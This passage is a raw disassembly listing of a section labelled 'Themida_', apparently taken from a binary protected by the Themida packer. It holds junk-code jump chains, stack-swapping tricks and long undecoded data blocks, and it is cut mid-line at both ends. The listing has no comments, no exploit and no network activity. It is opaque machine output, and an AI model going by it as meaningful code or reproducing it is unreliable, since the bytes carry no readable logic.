0C0B8h dd 3518E250h, 40FE1216h, 3AE9C701h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_537BB7: ; CODE XREF: Themida_:0054069Bj push ecx mov ecx, 59342A6Eh add eax, ecx pop ecx jmp loc_53E18B ; --------------------------------------------------------------------------- db 5, 0, 23h dd 0C629B4DAh, 0CC68158h, 8326445Ah, 34E904ECh db 39h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_53B657 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0F2010000h, 4BB535Eh, 1000000h, 14875BDAh, 24248B24h dd 515D5455h, 441C68h, 24348900h, 841EA7BEh, 0C7EE8139h dd 5230ADAEh, 6E9F289h, 81000072h, 0F34EC5C3h, 930DE913h db 2 dup(0) ; --------------------------------------------------------------------------- loc_537C2A: ; CODE XREF: Themida_:005362F8j xchg esi, [esp] pop esp add ecx, 4 push eax push esi jmp loc_540131 ; --------------------------------------------------------------------------- db 89h dd 50B82404h, 0E9124869h, 1D21h, 81E38953h, 4C3h, 4EB8100h dd 87000000h, 9BE9241Ch, 89000080h, 0BB532424h, 4, 7EB0E9h dd 59CE2800h, 0E915EB80h, 729Ah, 2434FF5Eh, 0F5C5E959h dd 2468FFFFh, 89000003h, 83E92414h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_537C8F: ; CODE XREF: Themida_:00540F02j xchg edx, [esp] pop esp jmp loc_53CFBB ; --------------------------------------------------------------------------- dd 0E924248Bh, 18F8h, 1FFEB81h, 92E91EC8h, 81000055h, 6817DFC2h dd 3685E2Eh, 89000011h, 4DB9240Ch, 4940925Bh, 20FFE9h dd 5DEF8900h, 0EFD1DFF7h, 23C5BB53h, 814B6B3Fh, 916C4EF3h dd 0E0FE933h db 2 dup(0) ; --------------------------------------------------------------------------- loc_537CDE: ; CODE XREF: Themida_:0053662Ej push esi mov esi, 32586AF5h mov eax, esi pop esi inc eax neg eax add eax, 1F167009h neg eax shr eax, 6 jmp loc_53E4AE ; --------------------------------------------------------------------------- db 83h, 0C2h, 4 dd 33A7E9h, 99B05000h, 0D0F67834h, 0E8C01D0Ch, 88050406h dd 7AE958C2h, 0BA00007Fh, 2, 6151E9h db 0 ; --------------------------------------------------------------------------- loc_537D21: ; CODE XREF: Themida_:0053DC44j shr edi, 6 and edi, 44FB71DDh jmp loc_53BAC4 ; --------------------------------------------------------------------------- db 89h dd 3FFEE9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_537D36: ; CODE XREF: Themida_:0054015Fj add ebx, edx pop edx add ebx, 4 xchg ebx, [esp] pop esp push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_5392E6 ; --------------------------------------------------------------------------- dw 6659h dd 165AED81h, 66F52966h, 165AC581h, 5E2434FFh, 81E38953h dd 4C3h, 4C38300h, 0FFE756E9h, 19C368FFh, 6E90000h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_537D83: ; CODE XREF: Themida_:0053682Aj push edi push 26B14A52h pop edi shr edi, 3 inc edi xor edi, 29062C0Dh jmp loc_5414B6 ; --------------------------------------------------------------------------- loc_537D99: ; CODE XREF: Themida_:0053D33Bj mov [esp], edi jmp loc_53D59E ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 5204C483h, 0C281E289h, 4, 4BD55h, 0EA290000h, 86B3E95Dh dd 81660000h, 0FFFF242Ch, 0FFF086E9h, 243431FFh, 0E9243433h dd 9484h, 0E959CF88h, 19FBh dword_537DDC dd 6BC768h, 243C8900h, 37E4E9h, 243C8900h, 8022D5BFh, 0F944E906h ; DATA XREF: Themida_:00535168o dd 0D689FFFFh, 5A2434FFh, 4C481h, 81560000h, 163B2404h dd 48B50A0h, 4C48324h, 0A0163B2Dh, 24348B50h, 8904C483h dd 34FF2047h, 36E95824h, 89000090h, 4C381E3h, 0E9000000h dd 11A4h, 8108E5C1h, 273B57EDh, 5BC5816Ch, 1FDD742h, 0E9555DEEh dd 5AECh, 0CCB95147h, 91B064Eh, 0C78159CFh, 15DE1C4Ch dd 4707EFC1h, 4FE8BD55h, 0E5C1276Bh, 0F9C58102h, 0E912E745h dd 0FFFFE01Dh ; --------------------------------------------------------------------------- loc_537E74: ; CODE XREF: Themida_:005387F6j add edi, 6DAC385Bh add edi, ebp sub edi, 6DAC385Bh pop ebp add edx, edi pop edi and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shr eax, 0Ch xor eax, ecx sub esp, 4 mov [esp], eax jmp loc_53EF9B ; --------------------------------------------------------------------------- db 66h dd 0E9241C89h, 3F39h, 8904EC83h, 4BD242Ch, 1000000h, 242C8BE8h dd 4C481h, 57530000h, 0FFEE91E9h, 24048FFFh, 4240483h dd 8124048Fh, 42404h, 50E90000h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_537EF3: ; CODE XREF: Themida_:0053E28Bj mov [esp], edi mov edi, esp push eax mov eax, 4B75087Eh shr eax, 7 shl eax, 7 not eax shr eax, 1 xor eax, 4B7A4048h xor eax, 113F3BB3h add edi, eax pop eax add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub esp, 4 mov [esp], edx push esi mov esi, esp add esi, 4 jmp loc_53BAD5 ; --------------------------------------------------------------------------- aBc_n?usJ db 'æ_nÆ?UéÁJ',0 align 4 dd 405E089h, 2D000000h, 4, 5C240487h, 46CFE9h, 24542900h dd 6C295A08h, 44810424h, 31840424h, 2C8B7BF8h, 3E38E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_537F76: ; CODE XREF: Themida_:00535F87j xor ebp, 24210484h add esi, ebp mov ebp, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_53D065 ; --------------------------------------------------------------------------- dw 0D989h dd 81241C8Bh, 4C4h, 0E9C82100h, 6000h ; --------------------------------------------------------------------------- loc_537FA4: ; CODE XREF: Themida_:00536055j push edi push ebx sub dword ptr [esp], 1C8403FBh jmp loc_53B854 ; --------------------------------------------------------------------------- dw 0E281h dd 1B586129h, 6605E9h, 0CFF6600h, 9CE99C24h, 0C1FFFFD3h dd 17E908EBh, 0BD000086h, 1E04B084h, 0FFE7B3E9h, 0A8EB81FFh dd 292F0E04h, 56595BD8h, 76D668h, 240C8900h, 7D7C6855h dd 2C8B3744h, 4C48324h, 2C8BE989h, 4C48324h, 6BE9CE89h dd 8F000007h, 248B2404h, 2424D324h, 0D34DE99Ch, 0D789FFFFh dd 88D5E9h, 0CF015800h, 4870C781h, 0B9514ABDh, 64E7588Bh dd 1758E9h db 0 byte_538031 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0053511Co aHU db '$h`U',0 align 2 dw 3489h dd 0F11DE924h, 59B9FFFFh, 81357123h, 226E39C9h, 91E9523Bh dd 53000052h, 17B35350h, 0F622C380h, 80C3FED3h, 0C380EEF3h dd 2AEB801Ah, 0FFDE9DE9h, 9CE953FFh db 46h, 2 dup(0) byte_538073 db 68h ; DATA XREF: Themida_:00535210o dd 63C0h, 0BE243489h, 1F7E1045h, 8444E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_538086: ; CODE XREF: Themida_:00535D0Fj and eax, esi push dword ptr [esp] pop esi add esp, 4 shr eax, 0Bh xor ecx, eax push 7472h jmp loc_53A91F ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 2214E9h, 0CEEF8100h, 8904E1A9h, 5AE95FFBh, 81000005h dd 4C4h, 0E9C83000h, 7244h ; --------------------------------------------------------------------------- loc_5380C4: ; CODE XREF: Themida_:0053D2DFj sub ebp, edi pop edi add ebp, eax add ebp, 295D57EBh jmp loc_53BAAC ; --------------------------------------------------------------------------- loc_5380D4: ; CODE XREF: Themida_:0053E106j add esi, 4 jmp loc_53ED3D ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 1EE92404h, 8000002Eh, 0D028C6C2h, 8768665Ah dd 0E2A9E940h, 3489FFFFh, 4BE24h, 0F7010000h, 4C7815Eh dd 87000000h, 0FF5C243Ch, 83582434h, 6CE904ECh db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_53811B: ; CODE XREF: Themida_:0053ABBCj sub esp, 4 mov [esp], esi not dword ptr [esp] mov esi, [esp] add esp, 4 xor esi, 0A2BADED8h add ebx, esi pop esi xor edx, eax jmp loc_535363 ; --------------------------------------------------------------------------- db 2Dh, 0C6h, 1Eh dd 91E906C5h, 5A000074h, 5214E9h, 242C3300h, 0E9242C31h dd 3881h ; --------------------------------------------------------------------------- loc_538158: ; CODE XREF: Themida_:005393D9j mov eax, 4 sub ebp, 32DE78FBh add ebp, eax add ebp, 32DE78FBh pop eax jmp loc_538178 ; --------------------------------------------------------------------------- aZss db '^Zé™/',0 align 4 loc_538178: ; CODE XREF: Themida_:0053816Cj add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_536352 ; --------------------------------------------------------------------------- dd 0EB88D588h, 0DE885259h, 5A873488h, 5B2434FFh, 605AE9h db 0 ; --------------------------------------------------------------------------- loc_5381A1: ; CODE XREF: Themida_:0053B373j push esp jmp loc_5388D2 ; --------------------------------------------------------------------------- loc_5381A7: ; CODE XREF: Themida_:0053F400j sub eax, esi jmp loc_53CA74 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 710FE9h, 673CBE00h, 0EE814908h, 4908673Ah, 25DC381h dd 12E94E70h, 81000058h, 707BB1F7h, 0D783E9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5381DA: ; CODE XREF: Themida_:0053CDBFj pop esi push ebp mov ebp, 17DE0196h not ebp inc ebp xor ebp, 0EBA0C23h add ebp, 107E489Fh add ebp, 8E5C51Ch add esi, ebp mov ebp, [esp] add esp, 4 jmp loc_53F4FE ; --------------------------------------------------------------------------- loc_538206: ; CODE XREF: Themida_:0053B2B4j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_53E8FA ; --------------------------------------------------------------------------- loc_538217: ; CODE XREF: Themida_:00539784j add esp, 4 add esi, eax mov eax, [esp] jmp loc_540C86 ; --------------------------------------------------------------------------- loc_538227: ; CODE XREF: Themida_:00539E3Fj push edx push esp pop edx add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_540A97 ; --------------------------------------------------------------------------- db 29h, 0D8h, 83h dd 348904ECh, 84F7E924h, 0F82C0000h, 0C3805A66h, 83B25255h dd 0EAC0CAFEh, 0FEDAF607h, 97EA80CAh, 285AD328h, 0F837E9C3h dd 0EDC1FFFFh, 31E95308h, 0BF000045h, 0 aUsiu db 'UéëU',0 align 2 dw 29B6h dd 0BAE9D6F6h, 68000043h, 36B4h, 53241489h, 4BBh, 6D49E900h dd 53480000h, 730FE9h, 58C30000h, 0B93E9h, 0C7295F00h dd 27E95B58h, 0FF00005Bh, 835B2434h, 0A0E904C4h db 0D0h, 2 dup(0FFh) byte_5382C3 db 66h ; DATA XREF: Themida_:00535290o dd 5524048Bh, 7D2BE9h, 7E2C100h, 83DAE9h, 6BA1BF00h, 7C296FD9h dd 4CE90424h, 0BD000025h, 2F410F29h, 0DC36C581h, 0EB29BF9Ch dd 0FFF102E9h, 0BE565EFFh, 75FE4507h, 630AE681h, 0E9463E2Ah dd 827Ch, 4240481h, 8B000000h, 0C4832414h, 7E63E904h, 0BD550000h dd 4, 1644C281h, 0EA01464Dh, 1644EA81h, 2C8B464Dh, 4C48124h dd 57000000h, 2682968h, 0F7815F3Ch, 3C02682Dh, 3CD1E9h db 0 ; --------------------------------------------------------------------------- loc_538349: ; CODE XREF: Themida_:0053E1F6j mov esi, 4 jmp loc_5355BA ; --------------------------------------------------------------------------- byte_538353 db 0FFh ; DATA XREF: Themida_:0053509Co dd 43E92434h, 81FFFFE3h, 7499C2C3h, 82EE8122h, 2959BE79h dd 82C681DEh, 5B59BE79h, 62E9F301h, 8B000030h, 0C4832434h dd 4C48104h, 0C1000000h, 0C00900E9h, 4046840Fh, 0EC810000h dd 4, 5BE5E9h, 4BB5300h, 1000000h, 0E9835BD9h, 240C8704h dd 2EE9545Ch, 8BFFFFFBh, 0F662424h, 9C2404BBh, 0FFCFA6E9h dd 7EBC1FFh, 4819E9h, 24048900h, 1604A7B8h, 2C29E982h dd 295D0000h, 0C8B5BDEh, 4C48124h, 83000000h, 55E902C6h dd 1000044h, 69E981D1h, 8136312Bh, 2C2DCEE9h, 0A3E95A08h dd 31000091h, 14332414h, 0C80F5C24h, 5E8FE9h, 0E9585400h dd 393Ch ; --------------------------------------------------------------------------- loc_538410: ; CODE XREF: Themida_:0053D7FBj and eax, ebp mov ebp, [esp] jmp loc_53A4F2 ; --------------------------------------------------------------------------- dw 0BF57h dd 44F20D87h, 4247C31h, 0F6815E5Fh, 44F20D87h, 2C87565Fh dd 87D5F724h, 348B242Ch, 0E135E924h, 0C05BFFFFh, 0D8E905ECh dd 5AFFFFDFh, 0E94BB050h, 8905h, 546FD42Dh, 5E8016Fh, 6F546FD4h dd 240C8B5Dh, 4C481h, 0C3310000h, 0B4E6866h, 1E30E9h, 4BF00h dd 54E90000h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53847B: ; CODE XREF: Themida_:0053AC3Fj mov edi, 19160F9Ah push ebx mov ebx, 1 jmp loc_53B6E4 ; --------------------------------------------------------------------------- aIT_h db '‰<$T_h',0Dh,'!',0 dd 241C8900h, 0A37C70BBh, 0FB25E92Fh, 0C481FFFFh, 4, 461CE9h db 0 ; --------------------------------------------------------------------------- loc_5384AD: ; CODE XREF: Themida_:00538BE9j add [esp+4], edi pop edi mov eax, [esp] add esp, 4 push edx mov edx, 4 add eax, edx mov edx, [esp] add esp, 4 sub eax, 2 sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_53E59D ; --------------------------------------------------------------------------- loc_5384DC: ; CODE XREF: Themida_:0053B493j add esp, 4 loc_5384DF: ; CODE XREF: Themida_:00539F25j push ebp push ebx sub dword ptr [esp], 291C5C55h pop ebp jmp loc_53CEDF ; --------------------------------------------------------------------------- dw 0BF57h dd 0B28CC501h, 8071E9h db 0 ; --------------------------------------------------------------------------- loc_5384F9: ; CODE XREF: Themida_:0053EE86j push ebx jmp loc_53C4E6 ; --------------------------------------------------------------------------- db 0FEh dd 0CF280CAh, 0E95AD428h, 0FFFFF4FEh ; --------------------------------------------------------------------------- loc_53850C: ; CODE XREF: Themida_:0053E092j mov ebp, [esp] add esp, 4 jmp loc_53B0D4 ; --------------------------------------------------------------------------- db 4Bh dd 0EAE3814Bh, 0E928C16Dh, 1C26h ; --------------------------------------------------------------------------- loc_538524: ; CODE XREF: Themida_:00535C4Bj push 58ABh mov [esp], esi jmp loc_53E1EB ; --------------------------------------------------------------------------- byte_538531 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00535120o dd 4EC8124h, 89000000h, 0F2E9242Ch db 1Fh, 2 dup(0) byte_538543 db 0FFh ; DATA XREF: Themida_:005350A4o aW8ho db 'w8hŽ',8,0 dw 8900h dd 52502434h, 20742BBAh, 3575B805h, 0E5E90A33h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_53855F: ; CODE XREF: Themida_:0053BBD2j push dword ptr [esp] pop eax jmp loc_540074 ; --------------------------------------------------------------------------- dd 8015C480h, 96E91CECh db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_538573: ; CODE XREF: Themida_:0053889Fj pop esp jmp loc_53DD70 ; --------------------------------------------------------------------------- db 89h, 0F5h, 5Eh dd 875DE929h, 248B240Ch, 24148924h, 0D4E99C50h db 0CDh, 2 dup(0FFh) byte_53858F db 0ACh ; DATA XREF: Themida_:00535254o dd 4EC81h, 0C890000h, 8AB65224h, 805AF188h, 0C9FEA7E9h dd 0C0CAC980h, 536607E9h, 37E92AB7h db 3Eh, 2 dup(0) byte_5385B3 db 66h ; DATA XREF: Themida_:005352F8o dd 57240C8Bh, 0E904EC83h, 0FFFFEDCAh, 156E6B2Dh, 4E0C156h dd 6C59E9h, 14895C00h, 5A86E924h, 0EC830000h, 0D747E902h dd 6855FFFFh, 4, 5DEB015Dh, 0E9241C33h, 32Bh, 5AD3E958h dd 2C8B0000h, 4C48124h, 9000000h, 25840FC0h, 0FF00002Dh dd 56511C77h, 677FE9h, 0DEED8100h, 160A93Fh, 0DEC581DDh dd 8B60A93Fh, 0C481241Ch, 4, 0C7E9E821h, 5BFFFFFFh, 5E9DEF7h db 0F9h, 2 dup(0FFh) byte_538637 db 83h ; DATA XREF: Themida_:005351DCo dd 48904ECh, 352CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_538642: ; CODE XREF: Themida_:0053D933j sub eax, 29D66688h push esi push 0D71721h mov esi, [esp] add esp, 4 not esi push ecx push ebp mov ebp, 323E074Ah mov ecx, ebp jmp loc_5387C2 ; --------------------------------------------------------------------------- loc_538666: ; CODE XREF: Themida_:0053FC61j pop esi add esp, 4 jmp loc_536CB4 ; --------------------------------------------------------------------------- db 50h dd 0B25292B4h, 0C0CAFEBDh, 80E904EAh, 88FFFFFEh, 0C58859C8h dd 220EE9h, 4C18100h, 83000000h, 0C8704E9h, 0A0E95C24h dd 52FFFFF5h, 88E78853h, 2434FFFAh, 4C4835Bh, 148BD788h dd 6A11E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5386B2: ; CODE XREF: Themida_:005393CAj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 346Eh mov [esp], esi jmp loc_535E4E ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0C44B08BDh, 84BA523Dh, 0E97BF831h, 0FFFFF879h, 78FD68h dd 243C8900h, 0BA52E789h, 4, 0FFF2ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_5386F9: ; CODE XREF: Themida_:0053C6D8j xchg ebp, [esp] mov esp, [esp] push small word ptr [eax] jmp loc_535363 ; --------------------------------------------------------------------------- db 8Bh dd 0E9E9241Ch db 42h, 2 dup(0) byte_53870F db 0FFh ; DATA XREF: Themida_:005352A4o dd 669D1C77h, 241CD359h, 0CC45E99Ch, 0FB89FFFFh, 0C381435Fh dd 0B0B5A82Fh, 515BD801h, 4B9h, 0E9C80100h, 3466h, 3C6E68h dd 48F5400h, 4B95124h, 0E9000000h, 1F5Dh aM0Ss9 db '¬0Øé™9',0 ; DATA XREF: Themida_:005350F8o align 4 dword_538754 dd 8B2434FFh, 89512404h, 4C181E1h, 81000000h, 4C1h, 240C8700h ; DATA XREF: Themida_:0053516Co dd 0DFBEE95Ch, 5059FFFFh, 0EA774BB8h, 0C0C681D3h, 2948B607h dd 9EE955C6h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_538787: ; CODE XREF: Themida_:00535A43j mov [esp], edx mov edx, esp jmp loc_536C7E ; --------------------------------------------------------------------------- db 0BBh, 55h, 4Bh dd 0DF010BF5h, 83241C8Bh, 25E904C4h, 0B8000081h, 56B73DB3h dd 158C629h, 0B3C681FEh, 5F56B73Dh, 3302C683h, 34312434h dd 22F8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5387C2: ; CODE XREF: Themida_:00538661j pop ebp push esi mov esi, 0 sub esi, ecx xchg esi, ecx pop esi or ecx, 579526CAh push ebp mov ebp, 2F4A6078h jmp loc_53E081 ; --------------------------------------------------------------------------- loc_5387DF: ; CODE XREF: Themida_:005417BEj mov edi, 22CB102Ah or edi, 1F5C223Fh sub edi, 1CDD6B88h push ebp mov ebp, 0DBAC85E4h jmp loc_537E74 ; --------------------------------------------------------------------------- db 8Bh dd 0B3E9241Ch, 57000070h, 4BFh, 0EA25E900h, 0DAF7FFFFh dd 0FFE382E9h, 0E9DEF7FFh, 4053h, 5D5FFB89h, 40F8BA52h dd 0D3316079h, 5BDD015Ah, 0FFDB3DE9h db 0FFh ; --------------------------------------------------------------------------- loc_538831: ; CODE XREF: Themida_:005414BCj mov ebx, edi mov edi, [esp] add esp, 4 push ebp jmp loc_53C407 ; --------------------------------------------------------------------------- loc_538842: ; CODE XREF: Themida_:0053E7C9j xchg eax, [esp] pop esp jmp loc_540ACA ; --------------------------------------------------------------------------- db 0BAh dd 0DC71EE3h, 2BE9D509h db 7Eh, 2 dup(0) byte_538857 db 66h ; DATA XREF: Themida_:005350A8o dd 6824048Bh, 1EE5h, 54240C89h, 6AE95659h, 81000036h, 0D82EB1EBh dd 0D2EB813Fh, 14D0257h, 4AAAE9EBh, 40680000h, 0E9000000h dd 0FFFFF819h, 39E0E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53888E: ; CODE XREF: Themida_:00535E58j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_538573 ; --------------------------------------------------------------------------- dword_5388A4 dd 592434FFh, 0E03E950h ; DATA XREF: Themida_:005350F4o db 2 dup(0) ; --------------------------------------------------------------------------- loc_5388AE: ; CODE XREF: Themida_:0053B669j push edx jmp loc_539198 ; --------------------------------------------------------------------------- loc_5388B4: ; CODE XREF: Themida_:0053EAAAj not ecx push edi mov edi, 692A05FBh or edi, 331F49FDh jmp loc_535813 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 645E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5388D2: ; CODE XREF: Themida_:005381A2j push dword ptr [esp] pop ecx push esi jmp loc_5362EA ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 8704C183h, 0C15C240Ch, 504908E9h, 0BD2C9EB8h dd 0FFC13142h, 81582434h, 4C4h, 67EF2D00h, 0C8294753h dd 67EFBD55h, 3DE94753h, 9FFFFFBh, 0F4E91C5Fh, 31FFFFEDh dd 1C33241Ch, 0CFF5C24h, 38E99C24h, 81FFFFCAh, 2E0479C3h dd 5DEB810Bh, 8193A915h, 8E348DCBh, 1EB8102h, 52000000h dd 75DBBF57h, 77BA5A7Dh, 29813CF5h, 0D3295FFAh, 5A2434FFh dd 0E904C483h, 0FFFFCA03h, 7EC7814Fh, 891EDCC3h, 0E3C15FFBh dd 0C14B4B07h, 0C38105EBh, 1C677EB1h, 82D2F381h, 0DD89132Dh dd 0FFFD82E9h, 4DDDF7FFh, 1F70E9h, 0FA295D00h, 0FFEA815Fh dd 0C1030B5Ch, 0D2F708E2h, 1934F281h, 0D789C6A7h, 769E9h dd 68E28900h, 39F5h, 0B8240489h, 191D2B89h, 3EE1E9h, 0E8295900h dd 4045685Dh, 14890000h, 968C6824h, 315A4043h, 24148BD0h dd 212EE956h, 248B0000h, 0DA90E924h, 0E289FFFFh, 4C281h dd 0C2810000h, 4, 5EC8E9h, 241C3100h, 8B241C33h, 0CD22424h dd 5CE99C24h, 8BFFFFC9h, 89512414h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 5724248Bh, 42474FFh, 24048F5Fh, 6424248Bh dd 0E9028966h, 0FFFFC92Fh, 54243489h, 5BB3E9h, 5DE92900h dd 0E9240C87h, 5B69h ; --------------------------------------------------------------------------- loc_538A48: ; CODE XREF: Themida_:005365FFj push 616D2DDFh pop esi push 1F4Dh mov [esp], eax push 328h mov [esp], esi mov esi, 9E92D222h jmp loc_53977F ; --------------------------------------------------------------------------- aQsve db 'QéV…',0 align 2 dw 5B5Fh dd 4EC81h, 14890000h, 9BD5524h, 0BA443638h, 36CC07FBh dd 555DEA01h, 4679F0BDh, 0B2BE5669h, 811C7B13h, 59759FEEh dd 450BE931h, 0E1D10000h, 0D5F7E987h, 5F54E9h, 53595400h dd 0EC44E768h, 76E95B64h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_538AB7: ; CODE XREF: Themida_:0053D197j add esp, 4 jmp loc_53690C ; --------------------------------------------------------------------------- db 5 dd 37311175h, 3851E105h, 41100537h, 0C8011C08h, 841102Dh dd 51E12D1Ch, 0BB533738h, 663F161Ch, 7DBDE9h, 240C8700h dd 8953E9h, 5BDF0100h, 4E06E9h, 0AB0F6600h, 0E99C2404h dd 0FFFFC863h, 0C181F901h, 6AA3050Dh, 0FFED94E9h db 0FFh byte_538B0D db 0FFh, 34h, 24h ; DATA XREF: Themida_:00535144o dd 2E6BE9h, 3F0DB800h, 0F001C11Dh, 7E8C15Eh, 0C0A6BF57h dd 82E98933h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_538B2B: ; CODE XREF: Themida_:0053D4A2j sub edi, 4 jmp loc_53A7B6 ; --------------------------------------------------------------------------- dw 835Bh dd 9BE904ECh db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_538B3F: ; CODE XREF: Themida_:0053C987j mov [esp], esp add dword ptr [esp], 4 jmp loc_53ADDC ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFC813h, 2434335Fh, 33243431h, 248B2434h, 1C77FF24h dd 3EFF6857h, 34890000h, 7B45BE24h, 30E9402Ch db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_538B73: ; CODE XREF: Themida_:0053AF60j add esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] imul cl movzx cx, ah push small 3077h jmp loc_53DB8E ; --------------------------------------------------------------------------- loc_538B91: ; CODE XREF: Themida_:00539D5Cj add ebp, 4 jmp loc_53AF65 ; --------------------------------------------------------------------------- byte_538B99 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00535150o dd 44016824h, 14890000h, 0E95A5424h, 0FFFFD890h ; --------------------------------------------------------------------------- loc_538BAC: ; CODE XREF: Themida_:00536619j pop ecx sub ebx, 2C503BD9h add ebx, edi push 864h mov [esp], ebp jmp loc_5367C4 ; --------------------------------------------------------------------------- loc_538BC2: ; CODE XREF: Themida_:00536982j xchg eax, [esp] pop esp jmp loc_53614D ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 642568h, 0D033E900h, 0E954FFFFh, 606Bh ; --------------------------------------------------------------------------- loc_538BE4: ; CODE XREF: Themida_:005371A1j mov edi, 4 jmp loc_5384AD ; --------------------------------------------------------------------------- loc_538BEE: ; CODE XREF: Themida_:00535715j xor edi, 3D4545ABh push eax mov eax, 0F40AC680h jmp loc_53ED33 ; --------------------------------------------------------------------------- db 31h dd 0FD895EF7h, 81243C8Bh, 4C4h, 83D5F700h, 0D5F701EDh dd 0F6E2C581h, 0E801EC66h, 52242C8Bh, 0C281E289h, 4, 8704C283h dd 0D9E92414h, 5F00001Dh, 61C4EA81h, 57090060h, 2434FF1Ch dd 565685Ah, 1C890000h, 81E38924h, 4C3h, 82B9E900h, 48F0000h dd 0C3835C24h, 241C8702h, 6624248Bh, 5024048Bh, 393068h dd 48F5400h, 24048324h, 0EFE95804h, 83000059h, 0F781FFEFh dd 0EFC5DBEh, 0D8FBEF81h, 0FA8989A0h, 5E1EE9h, 24048900h dd 6824048Bh, 6649h, 0E9241489h, 34BFh ; --------------------------------------------------------------------------- loc_538CA4: ; CODE XREF: Themida_:0053ED38j pop edi sub ebp, ebx jmp loc_53B703 ; --------------------------------------------------------------------------- dd 24348B54h, 4C481h, 6EE90000h, 0FF00008Ah, 8B042474h dd 0C4832404h, 24048F04h, 6ED6E95Ch, 0C5830000h, 242C8702h dd 0E924248Bh, 1CC3h, 241EB850h, 380D7870h, 55C7F02h, 491A78DDh dd 41E8BB53h, 0D829A63Bh, 58C1895Bh, 0C8BCD89h, 4C48324h dd 4337BB53h, 434304B4h, 6A9EF381h, 0DD013E39h, 6336E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_538D16: ; CODE XREF: Themida_:0053B642j sub eax, 3AD274E4h add eax, 44371EC8h sub eax, 1 push ecx mov ecx, 2B6E34A7h jmp loc_536E1C ; --------------------------------------------------------------------------- dd 9EE9D388h, 81000014h, 4C4h, 7DE94800h, 81FFFFF8h, 790178EBh dd 57C38126h, 836C7364h, 6EE904ECh db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_538D57: ; CODE XREF: Themida_:0053E665j pop esi add [esp+4], ebx mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov eax, [esp] jmp loc_53D908 ; --------------------------------------------------------------------------- dd 6624248Bh, 6824148Bh, 35ADh, 54242C89h, 654EE9h, 0C4CC8000h dd 0E973C480h, 2334h, 360FEF81h, 295A4574h, 0C3815FFBh dd 84250BFh, 35ECEB81h, 0EB8109A0h, 62514AA3h, 0C381C329h dd 62514AA3h, 35ECC381h, 0EB8109A0h, 84250BFh, 44A3C381h dd 0F662EEEh, 26E900B6h, 0B8FFFFD5h, 5B815635h, 7FE9D0F7h dd 89000051h, 9C502414h, 0FFC576E9h db 0FFh ; --------------------------------------------------------------------------- loc_538DED: ; CODE XREF: Themida_:00536D88j mov eax, [esp] add esp, 4 jmp loc_53B9C8 ; --------------------------------------------------------------------------- loc_538DFB: ; CODE XREF: Themida_:00539BBBj pop dword ptr [esp] mov esp, [esp] movzx cx, al jmp loc_53DACE ; --------------------------------------------------------------------------- word_538E0A dw 0FF54h ; DATA XREF: Themida_:00535094o dd 7AE92434h, 59FFFFE2h, 0F239E952h, 0E959FFFFh, 0A1Fh dd 2475F781h, 0F781399Eh, 66B376E0h, 71E1C781h, 0E7C1588Ch dd 43C78102h, 0E9EAA997h, 0FFFFEC7Dh, 81E78957h, 4C7h dd 0A2E95300h, 5A00001Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5355ED ; --------------------------------------------------------------------------- dd 5C240C87h, 4C481h, 0C3810000h, 69E02182h, 449BEB81h dd 0C3295193h, 449BC381h, 56505193h, 0FB390A68h, 814E5E08h dd 0CFE458C6h, 63DE971h, 0EE810000h, 